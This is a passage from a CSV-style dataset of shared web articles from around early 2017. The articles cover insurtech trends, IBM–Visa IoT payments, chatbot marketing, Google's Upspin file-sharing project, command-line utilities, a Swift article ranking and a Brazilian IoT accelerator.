follow fast. Virtually every insurer offers a suite of its own products. Everything is developed in-house. More and more carriers realize that you simply cannot be the best at everything, and that resources are too scarce to keep up with every new development or cater to each specific segment. In the marketplace model, the insurers basically give their customers access to third parties with the best products, the most pleasant customer experience and the lowest costs. The marketplace business model cuts both ways. Customers get continuous access to the best products and services in the market. And costs can be kept at a minimum through connecting (or disconnecting) parties almost in real time to key in on new customer wishes and anticipate other market developments. In 2017, we will witness all sorts of partnerships between insurtechs and incumbents that fit the marketplace model. AXA teamed up with the much-praised 2016 DIAmond Award winner Trōv to target U.K. millennials. Trōv offers customized home insurances by allowing coverage of individual key items rather than a one-size-fits-all coverage set with average amounts. Check this out. Trend 7. Open architecture A new ecosystem emerges, with parties that capture data (think connected devices suppliers) and parties that develop new value propositions based on the data. Insurers will have to cooperate even more than they are currently doing with other companies that are part of the ecosystem. When an insurer wants to seize these opportunities in a structural way, it is no longer only about efficiently and effectively organizing business processes, but it is also about easy ways to facilitate interactions between possibly very different users who are dealing with each other in one way or another. Again, banking is ahead of insurance. For our new book, ""Reinventing Customer Engagement: The next level of digital transformation for banks and insurers,"" we spoke to many executives in banking, as well. German Fidor Bank has set up an open API architecture called fidorOS, enabling fintechs to develop financial services themselves on top of an existing legacy system. Citi says that ""any financial institution that doesn't want to rapidly lose market share needs to start working in a more open architecture structure."" The Backbase omnichannel platform is based on open architecture principles. It leverages existing policy administration systems capabilities and adds a modern customer experience layer on top, creating direct-to-consumer portals and giving the opportunity to integrate best-of-breed apps as well as improving agent and employee portals. Swiss Re, Hiscox and Legal & General are some of the insurers that use the Backbase platform. Check this out. Trend 8. Blockchain will come out of the experimentation stage When Goldman Sachs, Morgan Stanley and Banco Santander decided to leave the R3 Blockchain Group many thought this was proof that blockchain technology apparently was not as promising as initially expected. The contrary is true. It is not uncommon to join a consortium to speed up the learning curve, and then drop out and use the newly acquired knowledge to build your own plans and gain some competitive advantage, especially with a technology as powerful as blockchain. We believe a similar scenario will not take place in the B3i initiative launched by AEGON, Allianz, Munich Re, Swiss Re and Zurich. Thinking cooperation and ecosystems are just much more in the veins of the insurance industry. Plus there are plenty of use cases that cut both ways: improve operational excellence and cost efficiency as well as customer engagement. That is good news for the insurtech forerunners in blockchain technology. Everledger tackles the diamond industry's expensive fraud and theft problem. The company provides an immutable ledger for diamond ownership and related transaction history verification for insurance companies, and uses blockchain technology to continuously track objects. Everledger has partnered with all institutions across the diamond value chain, including insurers, law enforcement agencies and diamond certification houses across the world. Through Everledger's API, each of them can access and supply data around the status of a stone, including police reports and insurance claims. Check this out. See also: 5 Predictions for the IoT in 2017 Trend 9. Use of algorithms for front-liner empowerment Algorithms that are displacing human advisers generate headlines. Robo advice will for sure affect the labor market's landscape. For a costs perspective, this may seem attractive. But from a customer engagement perspective this may be different. To relate to their customers, financial institutions need to build in emotion. Humans inject emotion, empathy, passion and creativity and can deviate from procedure, if needed. Banks and insurers need to create a similar connection digitally. With so many people working at financial institutions, there is also an opportunity to create the best of both worlds. We see the first insurers that deploy robo advice to empower human front-liners. This is resulting in better conversations, higher conversion and, finally, greater solutions for customers. AdviceRobo provides insurers with preventive solutions combining data from structured and unstructured sources and machine learning to score and predict risk behavior of consumers - for instance, predictions on default, bad debt, prepayments and customer churn. Predictions are actionable, because they're on an individual customer level and support front-liners while speaking to customers. Trend 10. Symbiotic relationship with insurtechs Relationships between insurers and insurtechs will become much more intense. All the examples included in the previous nine trends make this quite clear. Insurers will also look for ways to learn much more from the insurtechs they are investing in - whether it is about specific capabilities or concrete instruments they can use in the incumbent organization, or whether it is about the culture at insurtechs and the way of working. We see an increasing number of insurers that are now using lean startup methodologies and that have created in-house accelerators and incubators to accelerate innovation in the mothership. The Aviva Digital Garages in London and Singapore are perfect examples. They are not idea labs, but the place where Aviva runs its digital businesses, varying from MyAviva to some of the startups Aviva Ventures invests in - all under one roof to build an ecosystem and create synergies on multiple levels. This Top 10 of Insurtech trends that we will witness in 2017 sets the stage for the Digital Insurance Agenda. It reinforces the need to connect insurance executives with insurtech leaders, which is basically our mission. It helps us to create an agenda for DIA 2017 Amsterdam that is in sync with what insurers need and what the latest technologies can provide. Check Digital Insurance Agenda for more info.",en
1487692411,CONTENT SHARED,-8591127493017117985,3609194402293569455,7126320888094993255,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://startupi.com.br/2017/02/ibm-e-visa-transformam-automoveis-eletrodomesticos-e-outros-dispositivos-conectados-em-potenciais-pontos-de-venda-com-watson-iot/,"IBM e Visa transformam automóveis, eletrodomésticos e outros dispositivos conectados em potenciais pontos de vendas","A IBM e a Visa anunciaram a primeira colaboração da indústria para levar o ponto de venda para todos os lugares onde houver aceitação de Visa, permitindo de forma rápida que as empresas introduzam experiências de pagamento seguras em qualquer dispositivo conectado à Internet das Coisas. A colaboração une a plataforma Watson IoT e as capacidades cognitivas da IBM aos serviços de pagamentos globais da Visa, usados por mais de três bilhões de consumidores no mundo. A plataforma Watson IoT da IBM permite que as empresas se conectem a bilhões de dispositivos, sensores e sistemas no mundo e, a partir daí, tenham insights de valor prático. A plataforma é usada hoje por mais de 6 mil clientes da IBM, que estão ajudando os consumidores a conectarem-se a milhões de dispositivos. A IBM e a Visa partilham da visão e do compromisso de que pagamentos podem ser realizados por meio de qualquer dispositivo - de relógios a anéis, passando por eletrodomésticos e até carros. Com esta colaboração, empresas conseguirão disponibilizar pagamentos seguros em todas as suas linhas de produtos por meio da plataforma Watson IoT da IBM e do Visa Token Service, nova tecnologia de segurança que substitui as informações sensíveis de conta nos cartões de pagamento por um identificador digital único. Com isso, IBM e Visa podem viabilizar pagamentos e transações em muitos dos 20 bilhões de dispositivos conectados que deverão estar inseridos na economia global até 2020. ""A IoT está literalmente mudando o mundo à nossa volta, seja por permitir que as empresas conquistem níveis inimagináveis de eficiência ou por possibilitar que uma lavadora de roupas nos ajude a nunca ficar sem detergente em casa. E, por trás dessa transformação, estão companhias como a Visa e tecnologias como a plataforma Watson IoT da IBM"", diz Harriet Green, diretora geral da IBM Watson IoT. ""A combinação das tecnologias de IoT da IBM, líderes de indústria, com os serviços de pagamento da Visa representa o próximo momento definitivo no comércio, pois viabiliza pagamentos por meio de qualquer objeto conectado, com novos níveis de simplicidade e conveniência para todos."" Exemplos de comércio baseado em IoT: Vejamos os automóveis, por exemplo. Especialistas estimam que o mundo terá 380 milhões de carros conectados até 2021. Com o ecossistema do carro conectado à plataforma Watson IoT, o motorista seria alertado quando a garantia ou licenciamento do carro estivesse quase vencendo ou quando a data de substituição de uma peça estivesse próxima. Com essa informação, o motorista poderia comprar as peças tocando em um botão, ou programar uma revisão na oficina de sua preferência. Ele poderia até pagar o combustível por meio de uma interação direta entre o carro e a bomba de gasolina. Da mesma forma, uma corredora que usasse um dispositivo de fitness e um chip wireless de corrida, poderia receber um alerta digital quando seu tênis precisasse de substituição, além de uma recomendação do melhor modelo e onde encontrá-lo pelo melhor preço, em um varejista de sua preferência. Ela poderia receber ainda várias outras recomendações relevantes e personalizadas, como dicas de nutrição e equipamentos, baseadas em sua performance, no clima local e em suas preferências de compra. ""Além de estar promovendo um mundo mais conectado, a Internet das Coisas está mudando a forma como vivemos, compramos e pagamos ao levar dados e pontos de venda para onde quer que o consumidor esteja"", diz Jim McCarthy, vice-presidente executivo de inovação e parcerias estratégicas da Visa Inc. ""O poder das tecnologias cognitivas do Watson e a liderança da IBM em IoT e segurança fazem dela a parceira ideal para nos ajudar a entregar pagamentos seguros em 'virtualmente qualquer lugar' e na imensa escala da IoT."" Como funciona: Graças a essa colaboração, no futuro, todos os clientes da Plataforma Watson IoT da IBM terão acesso aos serviços de pagamento da Visa por meio da IBM Cloud. Com isso, em vez de fazerem um trabalho empresa a empresa, a IBM e a Visa possibilitarão que todos os seus clientes tenham acesso a essas capacidades para poderem começar a construir experiências de comércio personalizadas e, a agir proativamente, fazendo recomendações baseadas nas necessidades específicas de cada consumidor. Como parte dessa colaboração, as empresas usarão o Visa Token Service para garantir a segurança das informações de todos os consumidores. O serviço substitui várias informações sensíveis constantes nos cartões de pagamento, como o número de conta de 16 dígitos, a data de expiração e o código de validade, por um identificador digital único que pode ser usado para processar pagamentos sem expor os verdadeiros detalhes da conta. O Visa Token Service é acessado por meio de uma rede de provedores de serviços de token (TSPs, na sigla inglês) e faz parte do Visa Ready, programa que certifica a próxima geração de soluções de pagamento criadas por parceiros para garantir sua conformidade com os padrões de segurança e especificações da Visa, e ter certeza de que elas serão aceitas globalmente de forma coesa e segura. A IBM está trabalhando atualmente com mais de 6 mil clientes no mundo, de diferentes setores, para ajudá-los a aproveitar todos os benefícios da IoT. Muitas dessas inovações estão expostas na matriz da IBM Watson IoT em Munique.",pt
1487777120,CONTENT SHARED,-5953227649059336919,3609194402293569455,-1382987583323397219,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://www.matthewbarby.com/chatbot-marketing/,Life Beyond Email: Chatbot Marketing,"Every marketing channel suffers from fatigue at one stage. Whether this is due to an increase of competition, rising costs of competing or hitting a ceiling of volume, every business will face the challenge of seeing diminishing returns on a once high-performing channel for them. I've come across this challenge many times, which has made me very focused on adopting new channels that have potential at an early stage to reap the rewards. Just take video ads within Facebook as an example. We're currently at a point where video ads are reaching their peak; cost is still relatively low and engagement is high, but, like with most ad platforms, increased competition will drive up those prices and make it less and less viable for smaller companies (and larger ones) to invest in it. Being an early adopter of a new channel can provide enormous benefits, but that comes with equally high risks. This is amplified within marketplaces like Amazon. Early adopters within Amazon's marketplace were able to focus on building a solid base of reviews for their products - a primary ranking signal - which meant that they'd create huge barriers to entry for competitors (namely because they were always showing up in the search results before them). Every marketing channel suffers from fatigue at one stage. Whilst the payout wasn't huge within the early days of Amazon, those who got in early are now seeing huge rewards, with 38% of shoppers starting their buying journey within Amazon ( source ), making it the number one retail search engine. Some studies are suggesting that Amazon is responsible for 80% of e-commerce growth for publicly traded web retailers ( source ). On the other hand, early adoption can be somewhat of a curse. In 2011, many companies and individuals, myself included, invested a lot of time and money into Google+, dubbed to be bigger than Facebook at the time. They acquired over 10 million new users within the first two weeks of launch and things were looking positive. Many companies doubled-down on growing a community within the platform, hopeful of using it as a new and growing acquisition channel, but things didn't exactly pan out that way . Google all but killed the social network in mid-2015 leaving a lot of early adopters licking their wounds. Life Beyond Email For as long as I can remember, email has been a fundamentally important channel for a large majority of businesses. The ability to market products directly through a channel that scales up to an incredibly high ceiling is very attractive. The only problem is that it's costing more and more money to acquire email addresses from potential customers, and the engagement from email is getting worse and worse. As the above chart ( source ) illustrates, email click-rate has been steadily declining. Whilst open rates seem to be increasing - largely driven by mobile - the actual engagement from email is nosediving. Not only that, but it's becoming more and more difficult to even reach someone's email inbox; Google's move to separate out promotional emails into their 'promotions' tab and increasing problems of email deliverability have been top reasons behind this. All that said, email is still an incredibly important channel for a lot of businesses and it undoubtedly still gets results. I don't think many people will argue that, whilst this is the case now, things are only going to get worse. As with many 'organic' channels, the relative reach of your audience tends to decline over time due to a variety of factors. In email's case, it can be the over-exposure to marketing emails and moves from email providers to filter out promotional content; with other channels it can be the platform itself. Back in 2014 I wrote about how "" Facebook's Likes Don't Matter Anymore "" in relation to the declining organic reach of Facebook pages. Last year alone the organic reach of publishers on Facebook fell by a further 52% . Subscribe via Messenger The Birth of Chatbots It's fair to say that I'm pretty obsessed with chatbots right now. There are some great applications popping up from brands that genuinely add value to the end consumer, and early signs are showing that consumers are actually responding really well to them. For those of you who aren't quite sure what I'm talking about, here's a quick overview of what a chatbot is: A chatbot is a service powered by rules, and sometimes artificial intelligence, that you interact with via a chat interface. The service could be any number of things, ranging from functional to fun, and it could live in any major chat product (Facebook Messenger, Slack, Telegram, Text Messages, etc.). ( source ) Awareness around chatbots is starting to grow, especially after Facebook came out mid-last year with their new Messenger platform that supported chatbots. On top of that, and like with a lot of things online, the adult industry has stimulated a lot of demand around chatbots. Just take a look at some of the most searched-for keywords in the search engines related to chatbots (data from Storybase ): This is why we can't have nice things. That aside, there are some really great chatbots that have been built that add a bunch of value whilst also benefitting the brand commercially. One that I really like is the Politico chatbot that gives you regular digests of news whilst also serving you up relevant information that you ask for. This is great for the consumer because they don't need to leave the environment of Facebook to get access to the content they want, and it's hugely beneficial to Politico, as they're able to push on-demand content through to an increasingly engaged audience - oh, and they can also learn a bunch of interesting things about their audience in the process (I'll get to this shortly). There are a bunch of e-commerce stores taking advantage of chatbots as well. One example that I was playing with was from Fynd that enables you to ask for specific products and they'll display them to you directly within Messenger. What's more, Facebook even allows you to make payments via Messenger bots , opening up a whole world of possibility to e-commerce stores. Bot experiences with more engaged audiences are getting 80-90% response rates. I spoke with Dmitriy Kachin from Chatfuel, a chatbot creation platform, to see how some of their customers' chatbots were performing in terms of read/response rates. Here's what he had to say: "" Obviously, numbers vary across the board - and better bot experiences with more engaged audiences are getting 80-90% response rates. While even the least favorable experiences are in the 35-40% range. "" Why Should You Care? Ok, so you're probably thinking, ""This all sounds great, Matt, but how can I do something with chatbots?"" Well, I've got you covered. Don't for a minute think that chatbots are some gimmick that is going to be available only to bring brands with huge audiences. Whilst there are a number of new chatbots appearing each week, the space is still in its infancy. This is the time to become an early adopter. Why? Here are five reasons to start with (and this is just with Messenger): As soon as someone engages with your chatbot, you have the ability to push messages to them within Facebook Messenger with very few limitations. You can use input from users to dynamically segment them into groups and serve different content to them. You can set up automation workflows in the same way that you would via email marketing automation. Click-through rates and general engagement is very high at this stage. You're more likely to get engagement within Messenger than from within your Facebook page because the communication is 1:1 and you're not competing with others in the newsfeed. Facebook has opened up the ability to run ads directly to Messenger . This means that anyone that engages with your ad can now be followed up with directly within Messenger (this is incredibly exciting). The fact that you can now run ads directly to Messenger is an enormous opportunity for any business. This skips the convoluted and leaky process of trying to acquire someone's email address to nurture them outside of Facebook's platform. Instead, you can retain the connection with someone inside Facebook and improve the overall conversion rates to receiving an engagement. Don't forget that you can also tap into platforms outside of Messenger as well, for example, Slack, Telegram and even SMS. If you're interested in bringing a chatbot to a whole bunch of these different platforms then I'd recommend checking out Flow XO . Subscribe via Messenger How Do I Create a Chatbot? One of the biggest hurdles to overcome with being an early adopter of a platform is that it often costs a lot of money and requires highly specialized skills. That's not the case with chatbots. You can actually go from an idea to a fully functioning chatbot within a matter of minutes, and it won't cost you anything. How is this possible? Chatfuel . Chatfuel is a platform that lets you build your own Chatbot for Messenger (and Telegram) for free. The only limit is if you pass more than 100,000 conversations per month, but for most businesses that won't be an issue. No understanding of code is required and it has a simple drag-and-drop interface. Think Wix/Squarespace for bots ( side note : I have zero affiliation with Chatfuel). There are other platforms similar to Chatfuel at the moment, but not many. Botsify is one, but I haven't actually used them yet. The first thing to do when mapping out your own chatbot is to figure out what unique value it could add to the user. One example of a chatbot that I'm testing out at the minute is a recipe recommendation bot that lives directly within Messenger. The basic way that it works will be that the user will say what ingredient (or list of a few ingredients) that they want to cook with and the chatbot will serve up relevant recipe recommendations. It's a simple idea but adds a ton of ongoing value to the user, and, more importantly, gives them a reason to regularly engage with the bot. This creates a bunch of opportunities to take the user down extra conversion paths - for example, purchasing ingredients, product recommendations and ongoing content subscriptions (to name a few). When you're thinking about designing your chatbot you should have a very clear answer to ""Why would someone continue to get value from this?"" Chatfuel Basics: Blocks and Rules The basic way that Chatfuel works is by linking ""blocks"" to ""AI Rules"". The best way to explain this is in the same context of email automation. Think of the ""blocks"" as individual emails, and the ""AI Rules"" as your automation rules (i.e., if a user does x , send them y ). Each interaction that you plan to make with the user should be built out in an individual block. Based on the user's input, they will receive different blocks afterwards. Here's a simple schematic of how a user would interact with individual ""blocks"" within my recipe recommendation example: This is an extremely simplified version of the interaction flow, but it should hopefully illustrate the basic premise behind ""blocks"". The rules can be set up so that if a user responds in a certain way, they'll be served a specific block. For example, in the flow I've outlined above, if a user says, ""No"" when asked if they want to see another recipe for the ingredient they specified, they'll be directed back to the ""Select Ingredient"" block. You can also create some rules based on keywords. For example, if a user types the words ""manage subscription"", you could send them to a block that asks them if they'd like to reduce the amount of messages they receive. This is one of many examples. In my recipe recommendation example, if a user types ""salmon recipes"" they'll be served up a selection of recipes that include salmon. This can be pulled in dynamically via the RSS plugin within Chatfuel. The plugin aspect to Chatfuel is one of the real bonuses. You can link up to all sorts of different services to add richer content to the conversations that you're having. This includes linking up to Twitter, Instagram and YouTube, as well as being able to request that the user share their location, serve video and audio content, and build out custom attributes that can be used to segment users based on their inputs. This last part is a killer feature. My advice here is to go in and create a free account with Chatfuel and just start playing around. They have a really useful ""Test This Chatbot"" feature that pings you a message in Messenger to start engaging with your bot in development mode so that you can test it out and improve it before going live. Using Chatbots to Grow Your Funnel Once you've started to get some engagement with your chatbot, you can start experimenting with a bunch of different ways to use it as an acquisition channel. Here are a few ideas that can get you started with understanding how to apply chatbots in a way that can grow your funnel. Some of these will apply directly to your business, whilst others will be less relevant. I'll be sharing more new ideas over time. Newsletter Opt-In Discount Code Content Upgrades Lining Up Meetings During my conversation with Dmitriy Kachin from Chatfuel, I asked him for some tips on getting the best possible results from broadcast messages. From analyzing Chatfuel's customer data, Dmitriy came back with the following: The overall quality of the content and its relevance to the audience the bot owner is reaching out to. Giving people a clear and precise expectation of what you will be sending, how often, and offering them the opportunity to choose whether they want to receive this type of content and how frequently. Give the users as much control as possible. Being mindful not to abuse the power of broadcasting (no more than 2 broadcast messages per day typically); otherwise, people start getting annoyed with the volume of messages and tend to unsubscribe, or mute the bot. Personalizing the content as much as possible - making use of FB's default user attributes (addressing users by name), using the segmentation features of the platform to learn as much as possible about the audience and offering specific groups of people only the type of content that is relevant to their needs, interests and choices. Final Thoughts If you're a subscriber to my email list or a regular follower of my blog then you'll likely hear me talking a lot about chatbots over the coming months. I've personally been testing them out a lot and plan to do a whole lot more - some of you will have received used my chatbot as part of my 'free SEO consultation' campaign. Ultimately, only time will tell how effective the likes of Facebook Messenger will become in the long term. As more and more companies look to use chatbots within the platform, the greater the frequency of messages that individual users will receive. This could result in Facebook (and other messaging platforms) placing stricter restrictions on usage, but until then I'd recommend testing as much as possible. If you're running a chatbot that's seen some success, I'd love to hear from you in the comments below. Subscribe via Messenger",en
1487782326,CONTENT SHARED,-3201623914150480647,-534549863526737439,-8470437783673120049,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://security.googleblog.com/2017/02/another-option-for-file-sharing.html,Another option for file sharing,"Existing mechanisms for file sharing are so fragmented that people waste time on multi-step copying and repackaging. With the new project Upspin, we aim to improve the situation by providing a global name space to name all your files. Given an Upspin name, a file can be shared securely, copied efficiently without ""download"" and ""upload"", and accessed by anyone with permission from anywhere with a network connection. Our target audience is personal users, families, or groups of friends. Although Upspin might have application in enterprise environments, we think that focusing on the consumer case enables easy-to-understand and easy-to-use sharing. File names begin with the user's email address followed by a slash-separated Unix-like path name: ann@example.com/dir/file. Any user with appropriate permission can access the contents of this file by using Upspin services to evaluate the full path name, typically via a FUSE filesystem so that unmodified applications just work. Upspin names usually identify regular static files and directories, but may point to dynamic content generated by devices such as sensors or services. If the user wishes to share a directory (the unit at which sharing privileges are granted), she adds a file called Access to that directory. In that file she describes the rights she wishes to grant and the users she wishes to grant them to. For instance, read: joe@here.com, mae@there.com allows Joe and Mae to read any of the files in the directory holding the Access file, and also in its subdirectories. As well as limiting who can fetch bytes from the server, this access is enforced end-to-end cryptographically, so cleartext only resides on Upspin clients, and use of cloud storage does not extend the trust boundary. Upspin looks a bit like a global file system, but its real contribution is a set of interfaces, protocols, and components from which an information management system can be built, with properties such as security and access control suited to a modern, networked world. Upspin is not an ""app"" or a web service, but rather a suite of software components, intended to run in the network and on devices connected to it, that together provide a secure, modern information storage and sharing network. Upspin is a layer of infrastructure that other software and services can build on to facilitate secure access and sharing. This is an open source contribution, not a Google product. We have not yet integrated with the Key Transparency server, though we expect to eventually, and for now use a similar technique of securely publishing all key updates. File storage is inherently an archival medium without forward secrecy; loss of the user's encryption keys implies loss of content, though we do provide for key rotation. It's early days, but we're encouraged by the progress and look forward to feedback and contributions. To learn more, see the GitHub repository at upspin .",en
1487783149,CONTENT SHARED,-4132331404553626868,9109075639526981934,9068765379852494896,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://www.gartner.com/doc/reprints?id=1-3TYE0CD&ct=170221&st=sb,Gartner Reprint,"Gartner redesigned the Magic Quadrant for BI and analytics platforms in 2016, to reflect this more than decade-long shift. A year later, in 2017, there is significant evidence to suggest that the BI and analytics platform market's multiyear transition to modern agile business-led analytics is now mainstream.",en
1487860157,CONTENT SHARED,1908114740148100507,-1393866732742189886,-7684196451423283583,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://hackernoon.com/macbook-my-command-line-utilities-f8a121c3b019?gi=b04fe329d92b,Command-line utilities,"Introduction I've talked previously about my initial experience with MacOS. While I still love the laptop and how well it works, my favourite applications in it have very little to do with Apple's ecosystem - Most of them are command-line application that are shared with most of the UNIX/Linux world. Adopting the terminal for most of my interactions allows me to be a lot more productive - I can work on multiple projects, tasks and easily switch contexts and folders. Below are some of my currently favourite CLI applications. zsh / oh-my-zsh zsh is an alternative to bash, it comes with multiple features that enhance the general usage of the terminal. These are the ones I find myself constantly using: More practical auto-complete - Visual and arrows-navigable auto-complete Auto-complete directories from a single letter - Complete directories like cd ~/d/y and take you directly to cd ~/Downloads/YouTube Go back to your directory history with cd - Auto complete in git- Jump between branches with a quick tab Besides the core functionality of zsh, there are plenty of plugins to choose from. history-substring-search allows you to start typing a command, and then press up to search for all the commands that start that way. If you find your colours to be too dull, install syntax-highlighting plugin. Now you can spot the syntax error before running the command: And just to make your terminal a bit prettier, there is the powerful prompt. Besides being pretty it allows you to see easily your current git status and branch. Here is what mine looks like: Copying output to clipboard (without a mouse) Part of the advantages of using the terminal, is that you don't need a mouse... Until you need to copy something. Here are some options for mouse-less copying. yank With yank all you need to copy something is redirect its output to it, like so: pbcopy (MacOS) / xclip (Linux) Both of these commands would copy the content that was piped to them: iTerm2 integration iTerm2 has plenty of features to make it my favorite terminal shell. Its integration feature allows you, among many other things , to easily select and copy the output of the last command: fasd One of my first pains when working in the command-line was: ""How do I get to my project folder? Surely writing cd ~/my/very/long/path will get old very quickly?"". Luckily fasd can help with that (and more). Once installed and configured, it listens silently as you cd to various folders. As soon as you do, however, it remembers its path and allows you to do it much faster next time. In the example below, I go to a directory manually. Then to go back to it, I just use fasd's z command and switch back. Beside changing directories, you can also use fasd's shortcuts for other operations using the comma (,) command, e.g: lnav I find lnav to be one of the best ways to cope with log files. The fact that it is also in CLI just makes it easier to work with. It effortlessly loads a single file or a whole folder with multiple log files, and allows you to filter, search and follow it very swiftly. Here I open a folder in lnav, with many log files, and filter to get the specific lines I want: peco peco is used to quickly filter the output of commands. Consider it to be the interactive version of grep . For example, let's search inside my command line history to remind me syntax of git merge-base : Note that peco returned the selected line - That means you can use it with other applications. For example, let's get the pid of Evernote to the clipboard with the aforementioned yank : tig I've started using git with a proper GUI client. As time progressed, however, I found the terminal to be faster and better for many of the common operations: checkout/pull/merge. However, some of the operations do require interactivity. When I view git's log I would like to move freely between commits and when committing, I'd like to be able to select the files I'd like to stage. Using a proper GUI client for that, however, is distracting - It breaks you out of the terminal and breaks the flow of the regular commands. tig helps you with that. git log To watch the history, just run tig in the directory - You will be able to view each commit, affected files and the relevant diff. git commit By running tig status it is easy to stage the files you'd like to commit, or even specific lines (chunks) git difftool Just because you're in text mode and specifically tig, doesn't mean you have to rely on text-mode diff. If you're a fan of a proper diff/merge tool (e.g. Beyond Compare) it is easy to configure tig to open one. Simply add the following to your .tigrc file: Now simply select a changed file and press F4 ranger Even if you're comfortable with the terminal, some actions can still be a chore. Quickly exploring multiple directories, copying multiple by selection to another folder, etc. As a short example, here is how I would copy some files with ranger : realpath What do you do if you need to provide a certain file in the terminal to an open GUI application? For example, if you want to get the path of a photo to your photo editing program? You could do pwd , to get the current directory, and then append to it the name of file. But there's an easier way. realpath gives you the real, absolute path of any file, like so: mackup So you got your applications configured. What will happen once your computer dies or gets replaced? mackup (for both MacOS and Linux) is a really simple way to backup your configurations to Dropbox, or another cloud storage. Its method is ingenious -instead of making copies and schedules, all it does is simply copies the file once to your Dropbox and replaces the original with the symlink. The applications continue working with their configurations as usual, but they are actually modifying them on your Dropbox. Now every configuration change you do is immediately back-upped by your cloud storage. It's worth to emphasize - Unlike other backup applications, you only run mackup once . Tell me about yours! Hub  - Avoid going to GitHub for pull requests and forks! Perform most of GitHub's operations from the comfort of the command line. Tmux  - A multiplexer for the terminal, really useful if you work on a remote computer and would like to work with multiple tabs, panes and disconnect without closing your environment and processes. Fzf  - Fuzzy finder, similiar to peco. While at it, you might also want to check fzy . There are quite a few others too, though, I am not sure what's the difference. Mdlt  - A calculator for the command line that can also integrate and derive. I would be happy to hear about your favorite command line applications and how you use them. Update 1- You told me about yours There are quite a few suggestions in the comments:",en
1487939756,CONTENT SHARED,4675505028897335428,-1393866732742189886,-1729556941184852519,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",MG,BR,HTML,https://medium.mybridge.co/swift-top-10-articles-for-the-past-year-e4551a19121?gi=1f47a37d4e81,Swift Top 10 Articles For The Past Year (v.2017),"For the past year , we've ranked nearly 9,000 Swift articles to pick the Top 10 stories (0.11% chance) that can help advance your career in 2017. Swift, developed by Apple, has become the most popular open source programming language and 2nd most popular skill for freelancers across all industries. [Source: & ] This Swift list includes topics such as: Algorithms, Libraries, Open source apps, Toolkit, Strings, Array, Continuous delivery, Animation, iOS 10, XCode 8. This is an extremely competitive list and Mybridge has not been solicited to promote any publishers. Mybridge A.I . ranks articles based on the quality of content measured by our machine and a variety of human factors including engagement and popularity. Give a plenty of time to read all of the articles you've missed this year. You'll find the experience and techniques shared by the leading iOS engineers particularly useful. Swift Algorithm Club: Algorithms and data structures in Swift, with explanations! [11,147 stars on Github] .",en
1487946604,CONTENT SHARED,9213260650272029784,3609194402293569455,7144190892417579456,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",SP,BR,HTML,https://startupi.com.br/2017/02/liga-ventures-e-intel-criam-liga-iot-para-acelerar-projetos-ligados-internet-das-coisas/,"Conheça a Liga IoT, plataforma de inovação aberta que irá acelerar projetos ligados a Internet das Coisas","A Liga Ventures, aceleradora de startups especializada em gerar negócios entre startups e grandes corporações, oficializou, nesta quinta-feira (23), a criação da Liga IoT, uma plataforma de inovação aberta que vai prospectar, selecionar e acelerar startups ligadas à Internet das Coisas. A vertical temática contará com grandes parceiros corporativos e o primeiro a aderir ao programa é a Intel. O principal objetivo da plataforma é conectar grandes empresas com startups do setor para que explorem oportunidades de negócio ou testem novas tecnologias em conjunto. A Liga IoT cria um ecossistema que foca em compreender e antecipar a revolução que a Internet das Coisas está trazendo para diversos setores como agricultura, varejo, indústria, automação de casas e edifícios e cidades inteligentes. A Intel está engajada na iniciativa que irá abrir portas para que startups possam testar novas soluções e explorar oportunidades de negócios com seus clientes e parceiros. ""Acreditamos no trabalho de startups como uma maneira de acelerar a chegada da Internet das Coisas no Brasil. Como se trata de um mercado novo e de alto potencial, há um enorme espaço para tomar à frente da inovação e gerar produtos e serviços de alto valor agregado"", comenta Maurício Ruiz, diretor geral da Intel Brasil. ""A Intel desenvolve soluções de hardware e software para Internet das Coisas que são referência mundial. Através da Liga IoT, podemos utilizar esses recursos para apoiar os empreendedores que irão fazer a diferença no futuro."" A iniciativa se soma a outros programas que a Liga Ventures possui com empresas como Porto Seguro, AES Brasil, EMBRAER e Mercedes-Benz. ""Para nós, é muito importante ter a Intel como grande parceira na Liga IoT. Estamos seguros de que juntos ofereceremos muitas oportunidades para os empreendedores que participarem do programa"" é o que diz Rogério Tamassia, Sócio-diretor da Liga Ventures. A plataforma Liga IoT Serão selecionadas 5 startups de hardware ou software com soluções em Internet das Coisas em temas como agricultura, varejo, indústria, veículos conectados, automação de casas e edifícios, cidades inteligentes e outros. As startups passarão por um programa de aceleração de quatro meses em São Paulo. Durante esse período, elas terão acesso a tecnologias e executivos da Intel, com quem podem explorar sinergias e oportunidades de negócio, além da rede de mentores da Liga Ventures e a amplo networking com potenciais parceiros e investidores. Os principais objetivos são desenvolver o ecossistema de IoT no Brasil e explorar novas oportunidades de negócios. Nenhuma contrapartida em participação societária ou propriedade intelectual é exigida das startups. As inscrições para o 1° ciclo de aceleração da Liga IoT já estão abertas e vão até o dia 2 de abril. Startups e grandes empresas que queiram saber as novidades dessa iniciativa podem acessar o site .",pt
